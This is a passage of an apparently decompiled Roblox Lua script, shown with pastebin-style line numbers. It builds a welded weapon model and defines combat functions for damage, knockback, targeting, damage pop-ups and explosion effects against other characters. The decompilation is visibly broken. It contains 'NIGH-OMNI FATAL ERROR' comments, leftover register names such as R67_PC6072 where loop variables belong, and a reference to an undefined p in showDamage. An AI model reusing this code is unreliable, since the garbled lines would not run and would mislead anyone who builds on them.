  840. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  841. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  842. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  843. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  844. MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  845. MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
  846. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  847. ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  848. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  849. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  850. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
  851. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  852. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  853. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
  854. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  855. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  856. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  857. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  858. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  859. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  860. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  861. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  862. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  863. MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  864. MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
  865. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  866. ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  867. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  868. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  869. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
  870. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  871. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  872. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
  873. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  874. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  875. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  876. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  877. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  878. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  879. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  880. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  881. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  882. MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Baby blue", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  883. MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
  884. local CBlade = {}
  885. local CBladeWelds = {}
  886. for _,c in pairs(m:children()) do
  887. if c.className == "Part" then
  888. table.insert(CBlade, R67_PC6072)
  889. end
  890. end
  891. for _,c in pairs(m:children()) do
  892. if c.className == "Weld" then
  893. table.insert(CBladeWelds, R67_PC6072)
  894. print(R66_PC6093)
  895. end
  896. end
  897. -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
  898.  
  899. -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
  900.  
  901. --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
  902. -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
  903.  
  904. -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
  905.  
  906. HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
  907. CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
  908. FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Baby blue", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
  909. FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  910. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Baby blue", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  911. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  912. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
  913. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Baby blue", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  914. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  915. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
  916. TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Baby blue", "TornadoHat", Vector3.new(3, 0.400000006, 3))
  917. TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  918. CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
  919. local DBlade = {}
  920. local DBladeWelds = {}
  921. for _,c in pairs(demon:children()) do
  922. if c.className == "Part" then
  923. table.insert(DBlade, c)
  924. end
  925. end
  926. for _,c in pairs(demon:children()) do
  927. if c.className == "Weld" then
  928. table.insert(DBladeWelds, c)
  929. print(c)
  930. end
  931. end
  932. demon.Parent = nil
  933.  
  934. paly = game.Players.LocalPlayer
  935. char = paly.Character
  936. torso = char.Torso
  937. neck = char.Torso.Neck
  938. hum = char.Humanoid
  939. Player = game:GetService("Players").LocalPlayer
  940. local mouse = Player:GetMouse()
  941. Character = Player.Character
  942. tors = Character.Torso
  943. lleg = Character["Left Leg"]
  944. root = Character.HumanoidRootPart
  945. hed = Character.Head
  946. rleg = Character["Right Leg"]
  947. rarm = Character["Right Arm"]
  948. larm = Character["Left Arm"]
  949. local Effects = {}
  950. attack = false
  951. vt = Vector3.new
  952. bc = BrickColor.new
  953. br = BrickColor.random
  954. it = Instance.new
  955. cf = CFrame.new
  956. euler = CFrame.fromEulerAnglesXYZ
  957. angles = CFrame.Angles
  958. matr = math.random
  959. local basiccooldown = math.huge
  960. local ultcooldown = math.huge
  961. local secondcooldown = math.huge
  962. local thirdcooldown = math.huge
  963.  
  964. local boll = Instance.new("Part",game.Lighting)
  965. boll.Transparency = 0.5
  966. boll.Material = "Neon"
  967. boll.BrickColor = tors.BrickColor
  968. boll.Anchored = true
  969. boll.Size = vt(1,1,1)
  970. boll.Shape = "Ball"
  971. boll.CanCollide = false
  972.  
  973. local shur = Instance.new("Part",game.Lighting)
  974. shur.Transparency = 0
  975. shur.Material = "Neon"
  976. shur.BrickColor = tors.BrickColor
  977. shur.Anchored = true
  978. shur.Size = vt(5,0.2,5)
  979. shur.CanCollide = false
  980. local Meshshur = Instance.new("CylinderMesh",shur)
  981.  
  982.  
  983. local boll = Instance.new("Part",game.Lighting)
  984. boll.Transparency = 0.5
  985. boll.Material = "Neon"
  986. boll.BrickColor = bc("Bright red")
  987. boll.Anchored = true
  988. boll.Size = vt(1,1,1)
  989. boll.Shape = "Ball"
  990. boll.CanCollide = false
  991.  
  992. local shur = Instance.new("Part",game.Lighting)
  993. shur.Transparency = 0
  994. shur.Material = "Neon"
  995. shur.BrickColor = bc("Bright red")
  996. shur.Anchored = true
  997. shur.Size = vt(5,0.2,5)
  998. shur.CanCollide = false
  999. local Meshshur = Instance.new("CylinderMesh",shur)
  1000.  
  1001. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  1002. if hit.Parent==nil then
  1003. return
  1004. end
  1005. h=hit.Parent:FindFirstChild("Humanoid")
  1006. for _,v in pairs(hit.Parent:children()) do
  1007. if v:IsA("Humanoid") then
  1008. h=v
  1009. end
  1010. end
  1011. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  1012. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  1013. end
  1014. if hit.Parent.className=="Hat" then
  1015. hit=hit.Parent.Parent:findFirstChild("Head")
  1016. end
  1017. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  1018. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  1019. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  1020. return
  1021. end]]
  1022. -- hs(hit,1.2)
  1023. c=Instance.new("ObjectValue")
  1024. c.Name="creator"
  1025. c.Value=game:service("Players").LocalPlayer
  1026. c.Parent=h
  1027. game:GetService("Debris"):AddItem(c,.5)
  1028. Damage=math.random(minim,maxim)
  1029. -- h:TakeDamage(Damage)
  1030. blocked=false
  1031. block=hit.Parent:findFirstChild("Block")
  1032. if block~=nil then
  1033. print(block.className)
  1034. if block.className=="NumberValue" then
  1035. if block.Value>0 then
  1036. blocked=true
  1037. if decreaseblock==nil then
  1038. block.Value=block.Value-1
  1039. end
  1040. end
  1041. end
  1042. if block.className=="IntValue" then
  1043. if block.Value>0 then
  1044. blocked=true
  1045. if decreaseblock~=nil then
  1046. block.Value=block.Value-1
  1047. end
  1048. end
  1049. end
  1050. end
  1051. if blocked==false then
  1052. -- h:TakeDamage(Damage)
  1053. h.Health=h.Health-Damage
  1054. showDamage(hit.Parent,Damage,.5,TorsoColor)
  1055. else
  1056. h.Health=h.Health-(Damage/2)
  1057. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  1058. end
  1059. if Type=="Knockdown" then
  1060. hum=hit.Parent.Humanoid
  1061. hum.PlatformStand=true
  1062. coroutine.resume(coroutine.create(function(HHumanoid)
  1063. swait(1)
  1064. HHumanoid.PlatformStand=false
  1065. end),hum)
  1066. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  1067. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  1068. local bodvol=Instance.new("BodyVelocity")
  1069. bodvol.velocity=angle*knockback
  1070. bodvol.P=5000
  1071. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  1072. bodvol.Parent=hit
  1073. rl=Instance.new("BodyAngularVelocity")
  1074. rl.P=3000
  1075. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1076. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  1077. rl.Parent=hit
  1078. game:GetService("Debris"):AddItem(bodvol,.5)
  1079. game:GetService("Debris"):AddItem(rl,.5)
  1080. elseif Type=="Normal" then
  1081. vp=Instance.new("BodyVelocity")
  1082. vp.P=500
  1083. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  1084. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  1085. if KnockbackType==1 then
  1086. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  1087. elseif KnockbackType==2 then
  1088. vp.velocity=Property.CFrame.lookVector*knockback
  1089. end
  1090. if knockback>0 then
  1091. vp.Parent=hit.Parent.Torso
  1092. end
  1093. game:GetService("Debris"):AddItem(vp,.5)
  1094. elseif Type=="Up" then
  1095. local bodyVelocity=Instance.new("BodyVelocity")
  1096. bodyVelocity.velocity=vt(0,10,0)
  1097. bodyVelocity.P=1000
  1098. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  1099. bodyVelocity.Parent=hit
  1100. game:GetService("Debris"):AddItem(bodyVelocity,1)
  1101. rl=Instance.new("BodyAngularVelocity")
  1102. rl.P=3000
  1103. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1104. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  1105. rl.Parent=hit
  1106. game:GetService("Debris"):AddItem(rl,.5)
  1107. elseif Type=="Snare" then
  1108. bp=Instance.new("BodyPosition")
  1109. bp.P=2000
  1110. bp.D=100
  1111. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1112. bp.position=hit.Parent.Torso.Position
  1113. bp.Parent=hit.Parent.Torso
  1114. game:GetService("Debris"):AddItem(bp,1)
  1115. elseif Type=="Target" then
  1116. if Targetting==false then
  1117. ZTarget=hit.Parent.Torso
  1118. coroutine.resume(coroutine.create(function(Part)
  1119. swait(5)
  1120. end),ZTarget)
  1121. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  1122. targetgui=Instance.new("BillboardGui")
  1123. targetgui.Parent=ZTarget
  1124. targetgui.Size=UDim2.new(10,100,10,100)
  1125. targ=Instance.new("ImageLabel")
  1126. targ.Parent=targetgui
  1127. targ.BackgroundTransparency=1
  1128. targ.Image="rbxassetid://4834067"
  1129. targ.Size=UDim2.new(1,0,1,0)
  1130. cam.CameraType="Scriptable"
  1131. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1132. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1133. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1134. Targetting=true
  1135. RocketTarget=ZTarget
  1136. for i=1,Property do
  1137. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  1138. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  1139. swait()
  1140. end
  1141. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  1142. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1143. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1144. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  1145. end
  1146. Targetting=false
  1147. RocketTarget=nil
  1148. targetgui.Parent=nil
  1149. cam.CameraType="Custom"
  1150. end
  1151. end
  1152. debounce=Instance.new("BoolValue")
  1153. debounce.Name="DebounceHit"
  1154. debounce.Parent=hit.Parent
  1155. debounce.Value=true
  1156. game:GetService("Debris"):AddItem(debounce,Delay)
  1157. c=Instance.new("ObjectValue")
  1158. c.Name="creator"
  1159. c.Value=Player
  1160. c.Parent=h
  1161. game:GetService("Debris"):AddItem(c,.5)
  1162. CRIT=false
  1163. hitDeb=true
  1164. AttackPos=6
  1165. end
  1166. end
  1167.  
  1168. showDamage=function(Char,Dealt,du,Color)
  1169. m=Instance.new("Model")
  1170. m.Name=tostring(Dealt)
  1171. h=Instance.new("Humanoid")
  1172. h.Health=0
  1173. h.MaxHealth=0
  1174. h.Parent=m
  1175. c=Instance.new("Part")
  1176. c.Transparency=0
  1177. c.Material = "Neon"
  1178. c.BrickColor=bc("New Yeller")
  1179. c.Name="Head"
  1180. c.TopSurface=0
  1181. c.BottomSurface=0
  1182. local tick = Instance.new("Sound",c)
  1183. tick.SoundId = "rbxassetid://12221976"
  1184. tick.Volume = 5
  1185. tick.Pitch = 4
  1186. tick:Play()
  1187. c.formFactor="Plate"
  1188. c.Size=Vector3.new(1,.4,1)
  1189. ms=Instance.new("CylinderMesh")
  1190. ms.Scale=Vector3.new(.8,.8,.8)
  1191. if CRIT==true then
  1192. ms.Scale=Vector3.new(1,1.25,1)
  1193. end
  1194. ms.Parent=c
  1195. c.Reflectance=0
  1196. Instance.new("BodyGyro").Parent=c
  1197. c.Parent=m
  1198. if Char:findFirstChild("Head")~=nil then
  1199. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1200. elseif Char.Parent:findFirstChild("Head")~=nil then
  1201. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1202. end
  1203. f=Instance.new("BodyPosition")
  1204. f.P=2000
  1205. f.D=100
  1206. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1207. f.position=c.Position+Vector3.new(0,3,0)
  1208. f.Parent=c
  1209. game:GetService("Debris"):AddItem(m,.5+du)
  1210. c.CanCollide=false
  1211. m.Parent=workspace
  1212. c.CanCollide=false
  1213. p:Destroy()
  1214. end
  1215.  
  1216. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  1217. for _, c in pairs(workspace:children()) do
  1218. local hum = c:findFirstChild("Humanoid")
  1219. if hum ~= nil then
  1220. local head = c:findFirstChild("Torso")
  1221. if head ~= nil then
  1222. local targ = head.Position - Part.Position
  1223. local mag = targ.magnitude
  1224. if mag <= magni and c.Name ~= Player.Name then
  1225. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  1226. end
  1227. end
  1228. end
  1229. end
  1230. end
  1231.  
  1232. function Explode(rad,par)
  1233. local expart = Instance.new("Part",script.Parent)
  1234. local expart2 = Instance.new("Part",script.Parent)
  1235. local partMesh = Instance.new("SpecialMesh",expart)
  1236. partMesh.MeshType = "Sphere"
  1237. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1238. partMesh2.MeshType = "Sphere"
  1239. local expld = Instance.new("Explosion", script.Parent)
  1240. local plode = Instance.new("Sound",expart)
  1241. plode.SoundId = "rbxassetid://165970126"
  1242. plode.Volume = 1
  1243. plode.Pitch = 1
  1244. plode.Looped = false
  1245. plode:Play()
  1246. expld.BlastRadius = rad
  1247. expld.Position = par.Position
  1248. partMesh.Scale = vt(rad,rad,rad)
  1249. expart.Size = vt(1,1,1)*1.5
  1250. expart.Transparency = 0
  1251. expart.Anchored = true
  1252. expart.Material = "Neon"
  1253. expart.BrickColor = bc("White")
  1254. expart.CFrame = par.CFrame
  1255. partMesh2.Scale = vt(rad,rad,rad)
  1256. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1257. expart2.Transparency = 0.5
  1258. expart2.Anchored = true
  1259. expart2.Material = "Neon"
  1260. expart2.BrickColor = bc("New Yeller")
  1261. expart2.CFrame = par.CFrame
  1262. local value = 1*rad/6.5
  1263. par:Destroy()
  1264. for i = 0, 100 do
  1265. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1266. expart.CFrame = expart.CFrame
  1267. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1268. expart2.CFrame = expart.CFrame
  1269. value = value - 0.035*rad/6.5
  1270. if value < 1 then
  1271. value = 0.25
  1272. expart.Transparency = expart.Transparency + 0.025
  1273. expart2.Transparency = expart2.Transparency + 0.025
  1274. end
  1275. wait()
  1276. end
  1277. plode.Parent = nil
  1278. expart.Parent = nil
  1279. expart2.Parent = nil
  1280. expld.Parent = nil
  1281. end
  1282.  
  1283. function ExplodeMass(rad,par)
  1284. local expart = Instance.new("Part",script.Parent)
  1285. local expart2 = Instance.new("Part",script.Parent)
  1286. local partMesh = Instance.new("SpecialMesh",expart)
  1287. partMesh.MeshType = "Sphere"
  1288. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1289. partMesh2.MeshType = "Sphere"
  1290. local expld = Instance.new("Explosion", script.Parent)
  1291. local plode = Instance.new("Sound",workspace)
  1292. plode.SoundId = "rbxassetid://579687077"
  1293. plode.Volume = 1
  1294. plode.Pitch = 0.85
  1295. plode.Looped = false
  1296. plode:Play()
  1297. local plodez = Instance.new("Sound",workspace)
  1298. plodez.SoundId = "rbxassetid://288641686"
  1299. plodez.Volume = 1
  1300. plodez.Pitch = 0.75
  1301. plodez.Looped = false
  1302. plodez:Play()
  1303. local plodeza = Instance.new("Sound",workspace)
  1304. plodeza.SoundId = "rbxassetid://197161452"
  1305. plodeza.Volume = 0.85
  1306. plodeza.Pitch = 0.65
  1307. plodeza.Looped = false
  1308. plodeza:Play()
  1309. local plodezar = Instance.new("Sound",workspace)
  1310. plodezar.SoundId = "rbxassetid://197161452"
  1311. plodezar.Volume = 0.85
  1312. plodezar.Pitch = 0.25
  1313. plodezar.Looped = false
  1314. plodezar:Play()
  1315. expld.BlastRadius = rad
  1316. expld.Position = par.Position
  1317. wait(0.5)
  1318. par:Destroy()
  1319. plode.Parent = nil
  1320. expart.Parent = nil
  1321. expart2.Parent = nil
  1322. expld.Parent = nil
  1323. end
  1324. function ExplodeMassen(rad,par)
  1325. local expart = Instance.new("Part",script.Parent)
  1326. local expart2 = Instance.new("Part",script.Parent)
  1327. local partMesh = Instance.new("SpecialMesh",expart)
  1328. partMesh.MeshType = "Sphere"
  1329. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1330. partMesh2.MeshType = "Sphere"
  1331. local expld = Instance.new("Explosion", script.Parent)
  1332. local plode = Instance.new("Sound",workspace)
  1333. plode.SoundId = "rbxassetid://579687077"
